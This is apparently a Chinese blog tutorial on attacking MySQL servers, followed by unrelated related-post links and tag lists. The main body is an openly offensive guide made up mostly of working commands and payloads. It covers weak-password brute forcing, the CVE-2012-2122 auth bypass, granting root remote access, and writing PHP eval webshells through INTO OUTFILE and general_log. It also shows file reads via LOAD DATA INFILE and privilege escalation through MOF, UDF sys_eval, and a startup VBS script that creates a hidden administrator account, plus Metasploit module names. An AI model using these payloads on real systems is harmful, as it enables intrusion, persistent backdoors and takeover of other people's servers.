渗透mysql数据库总结 sql渗透在线靶场
qiyuwang 2024-11-08 14:36 15 浏览 0 评论
前言
今天给大家总结一下渗透mysql的一些技巧。本文只是点到为止,不会讲的太细。
一、sqlshell获取
要利用mysql首先得拿到一个可以执行sql的mysql才能利用,下面就说一下几种常见姿势,欢迎补充。
1、弱口令
这个比较简单,网上工具很多如美杜莎,九头蛇这些比较知名的,msf也有相应的模块。我自己之前也写过一个。要是运气好的话直接跑到弱口令就直接进去,当然也可以配合社工字典来跑这样成功率更高。
2、文件读取漏洞
需要挖一个任意文件读取漏洞,然后利用读网站的配置文件,里面存放着数据库账号密码。
3、信息泄露
扫目录扫网站备份文件,或者git泄露
4、sql注入
这个不用多说,要是权限够大直接sqlmap os-shell一把梭
5、身份认证绕过漏洞(CVE-2012-2122)
受影响版本:
MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.
MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.
也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库。按照公告说法大约256次就能够蒙对一次。
在msf里面有模块,可以直接用auxiliary/scanner/mysql/mysql_authbypass_hashdump来跑
当数据库不能外连可以通过以下方法开放外连(注意防火墙):
可以修改host为%并刷新权限后,默认root等账号不允许远程连接
use mysql;
update user set host = '%' where user = 'root';
FLUSH PRIVILEGES ;
select host, user from user;
二、mysql拿shell
1、用命令直接导出shell
原理:利用导出命令来导出shell。
条件:
1. 需要知道网站的物理路径(绝对路径)
通过程序报错,日志泄露,phpinfo,php探针等方式可以获取到物理路径。
2.允许导出
先查看是否允许导入导出
show variables like '%secure%'
secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下,此时如果读写发生在其他文件夹,就会报告如下错误:
RROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制
如果条件都满足的话,就可以开始了
outfile
select '<?php eval($_POST[xxx]) ?>' into outfile '/var/www/xx.php';
dumpfile
select '<?php eval($_POST[xx]) ?>' into dumpfile '/var/www/xx.php';
注意:outfile函数可以导出多行,而dumpfile只能导出一行数据outfile函数在将数据写到文件里时有特殊的格式转换,而dumpfile则保持原数据格式
借助表导出。
Drop TABLE IF EXISTS temp;Create TABLE temp(cmd text NOT NULL);Insert INTO temp (cmd) VALUES('<?php eval($_POST[xxx]) ?>');Select cmd from temp into out file '/var/www/xx.php';Drop TABLE IF EXISTS temp;
也可以用mysql 的 -e 参数
mysql -u user -p passwd -e "select '' into outfile '/var/www/xxx.php'"
2、利用general_log拿shell
如果导入导出被禁用了就可以用这个方法试试。
原理:利用修改日志文件路径,往日志文件写入一句话。
条件:
1.对应web目录有写权限
2.需要有物理路径
3.如果拿到的是注入,还需要能执行堆叠注入
4.root用户,或者有对应权限的用户
利用如下:开启日志,更改路径,把一句话写入日志文件。
set global general_log=on;
set global general_log_file='/var/www/1.php';
select '<?php eval($_POST[safe6]) ?>';
三、任意文件读取
既然有文件导出,肯定也有文件导入。关于任意文件读取怎么用,我之前总结过。
条件:和导出shell的条件一样。
利用:先创建一张表,读取文件内容到表。
create table a (v text);
load data infile 'file_name' into table table_name fields terminated by '分隔符'
例如读text.txt:
load data infile 'C:/phpstudy/MySQL/test.txt' into table a fields terminated by ',';
查看内容
SELECT * FROM a
四、mysql提权
先推荐一个小工具https://github.com/T3st0r-Git/HackMySQL
1、mof提权
原理:
利用了c:/windows/system32/wbem/mof/目录下的 nullevt.mof 文件,每分钟都会在一个特定的时间去执行一次的特性,来写入我们的cmd命令使其被带入执行。
条件:
1、mof提权的前提是root用户
2、可以复制文件到%SystemRoot%\System32\Wbem\MOF目录下
利用:
网上工具也很多,可以直接用msf的exploit/windows/mysql/mysql_mof模块,执行成功后会直接反弹meterpreter。
2、udf提权
原理:
UDF(user defined function)用户自定义函数,是mysql的一个拓展接口。用户可以通过自定义函数实现在mysql中无法方便实现的功能,其添加的新函数都可以在sql语句中调用,就像调用本机函数一样。
条件:
1、系统是Windows(Win2000,XP,Win2003);有一个mysql数据库的账户拥有insert和delete权限,以创建和抛弃函数。
2、Mysql版本大于5.1版本udf.dll文件必须放置于MYSQL安装目录下的lib\plugin文件夹下。
3、Mysql版本小于5.1版本。udf.dll文件在Windows2003下放置于c:\windows\system32,在windows2000下放置于c:\winnt\
system32。
4、拥有相应目录的写权限
注意:一般Lib、Plugin文件夹需要手工建立(也可用NTFS ADS流模式突破进而创建文件夹)
select @@basedir; //查找到mysql的目录
select 'It is dll' into dumpfile 'C:\\ProgramFiles\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION'; //利用NTFS ADS创建lib目录
select 'It is dll' into dumpfile 'C:\\ProgramFiles\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION'; //利用NTFS ADS创建plugin目录
利用:
直接用msf的use exploit/multi/mysql/mysql_udf_payload模块.
msf会将dll文件写入lib\plugin\目录下(前提是该目录存在,如果该目录不存在的话,则无法执行成功),dll文件名为随机生成的名字(记下来后面手动创建需要用到)。该dll文件中包含sys_exec()和sys_eval()两个函数,但是默认只创建sys_exec()函数,该函数执行并不会有回显。我们可以手动创建 sys_eval() 函数,来执行有回显的命令。
手动创建sys_eval()
create function sys_eval returns string soname 'SGJECYG.dll';
执行手动创建的函数
select sys_eval('whoami');
检查有没有创建成功
select * from mysql.func where name = 'sys_eval';
删除函数
drop function sys_eval;
3、启动项提权
原理:本质还是用导出命令来实现,导出脚本到启动目录,服务器重启就执行脚本。
条件:上面说过了。
利用:
写个vbs到启动目录,想办法让服务器重启。
1,开始菜单当前用户启动文件夹--C:\Users\用户名\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
2,开始菜单所有用户启动文件夹--C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
3,注册表当前用户开机启动项目录--HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
4,注册表所有用户开机启动项目录--HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
写脚本
create table a (cmd text);//创建表
insert into a values ("set wshshell=createobject(""wscript.shell"") " );//写数据到表
insert into a values ("a=wshshell.run(""cmd.exe /c net user aabbcc 123456 /add"",0) " );
insert into a values ("b=wshshell.run(""cmd.exe /c net localgroup administrators aabbcc/add"",0) " );
select * from a into outfile "C:\\Documents andSettings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";//导出vb
msf下也有对应模块exploit/windows/mysql/mysql_start_up
五、拓展
其他常用msf模块
exploit/windows/mysql/scrutinizer_upload_exec(上传文件执行)
auxiliary/scanner/mysql/mysql_hashdump(mysql的mysql.user表的hash)
auxiliary/admin/mysql/mysql_sql(执行sql语句,navicat更香)
auxiliary/scanner/mysql/mysql_version(识别版本)
相关推荐
- 屏幕属性详解:DCI-P3、对比度、色域、Nit
-
屏幕属性详解:DCI-P3、对比度、色域、Nit---一、DCI-P3(色域标准)1.定义DCI-P3是由美国电影工业制定的广色域标准,覆盖CIE1931色彩空间的约96%,尤其强化红色和绿...
- 千元级小钢炮,畅爽游戏兼顾生产力,华硕VG249Q1A
-
#头条创作挑战赛#hello小伙伴们大家好,这里是你们热衷于桌搭的小伙伴晋升奶爸的垃圾佬。...
- 服务器磁盘在线扩容案例分享
-
服务器出现磁盘空间不足,可通过lvm实现在线扩容lsblk分析服务器磁盘基本情况使用lsblk命令查看到我们的分区情况,从下面可以看出服务器的根分区是一个lvm卷,满足在线扩容的要求,同时可发现这台...
- LVM系列篇:缩容逻辑卷
-
LVM系列篇:缩容逻辑卷上一篇LVM篇:扩容逻辑卷我们动手实际操作如何扩容逻辑卷。下面我们演示一下如何缩容逻辑卷。提示:相较于扩容逻辑卷,对逻辑卷进行缩容时,丢失数据的风险较大。所以在生产环境中进行操...
- CentOS7下动态调整LVM分区大小的操作步骤
-
1、问题现象1、df–Th查看发现/根分区可用空间不足,且/home分区可用空间较多2、配合lsblk命令查看发现/根分区与/home分区均为LVM类型2、解决思路压缩/home分区的大小,腾出空间...
- Linux根目录扩容——学习记录
-
公司服务器有的服务器需要扩容,自己在网上查找资料学习,顺便整理记录一下你觉得还不错的话,别忘记点赞哦。以下就是Linux根目录扩容的步骤,跟着操作你也一定能成功。...
- CentOs7虚拟机扩容磁盘,非增加硬盘,简单实用,步骤详细
-
本次扩容需要重新启动虚拟机,所以在跑业务的时候,需要谨慎操作。另外扩容有风险,最好把虚拟机做全盘备份,或者快照。一、查看现在磁盘容量情况命令:df–h,总共是200G二、在虚拟机编辑窗口把硬盘扩容...
- centos7 对非LVM Linux 扩充磁盘从20G到30G
-
对于没有LVM的分区,而且要扩展的分区在最后面,并不是中间分区。我们可以采用下面的方法。1.关机,并做好快照,保证万无一失。检查文件系统#fdisk-l/dev/sda20G#df-h...
- Linux 中的逻辑卷 LVM 管理完整初学者指南
-
这是Linux中LVM(逻辑卷管理)的完整初学者指南。在本教程中,您将了解LVM的概念、它的组件以及为什么要使用它。...
- Linux系统扩容
-
1.确定linux磁盘空间是否不足,使用命令:df-h2.打开虚拟机,修改配置(修改时需要先关闭客户机),如下:lsblk命令:列出所有可用设备块信息...
- 「学员笔记」LINUX随堂笔记(二)
-
昨天的笔记大家觉得可还满意?是不是感觉相见恨晚。今天宝藏小编继续给你带来我们学员的优质笔记供大家食用。第2章用户和磁盘管理一.用户帐号管理1.1添加用户账号(useradd)...
- 「干货」Linux入门篇|Linux 逻辑卷管理LVM
-
基本磁盘分区以后,如果分区空间用完了,能扩展吗?动态磁盘管理:...
- 记一次Linux机器centos7系统扩充root磁盘空间经历
-
CentOS虚拟机根分区磁盘扩容操作,我是用VMware虚拟机做的实验。一、选择你需要扩容的虚拟机器,右击——编辑设置根据需求扩容虚拟机的空间,我扩容是"60G"(根据个人需要填写空间...
- 详细讲解VMware CentOS7磁盘扩容
-
VMwareCentOS7磁盘扩容IceScream环境准备虚拟机软件:VMware16Pro系统版本:Linuxlocalhost.localdomain虚拟机:CentOS7,8都可...
- (建议收藏)CentOS7挂载未分配的磁盘空间以及LVM详细介绍
-
简述本文主要介绍CentOS7下如何挂载未分配磁盘空间的详细操作步骤。LVMLVM,逻辑卷管理,英文全称LogicalVolumeManager,是Linux环境下对磁盘分区进行管理的一种机制。是...
你 发表评论:
欢迎- 一周热门
- 最近发表
- 标签列表
-
- navicat无法连接mysql服务器 (65)
- 下横线怎么打 (71)
- flash插件怎么安装 (60)
- lol体验服怎么进 (66)
- ae插件怎么安装 (62)
- yum卸载 (75)
- .key文件 (63)
- cad一打开就致命错误是怎么回事 (61)
- rpm文件怎么安装 (66)
- linux取消挂载 (81)
- ie代理配置错误 (61)
- ajax error (67)
- centos7 重启网络 (67)
- centos6下载 (58)
- mysql 外网访问权限 (69)
- centos查看内核版本 (61)
- ps错误16 (66)
- nodejs读取json文件 (64)
- centos7 1810 (59)
- 加载com加载项时运行错误 (67)
- php打乱数组顺序 (68)
- cad安装失败怎么解决 (58)
- 因文件头错误而不能打开怎么解决 (68)
- js判断字符串为空 (62)
- centos查看端口 (64)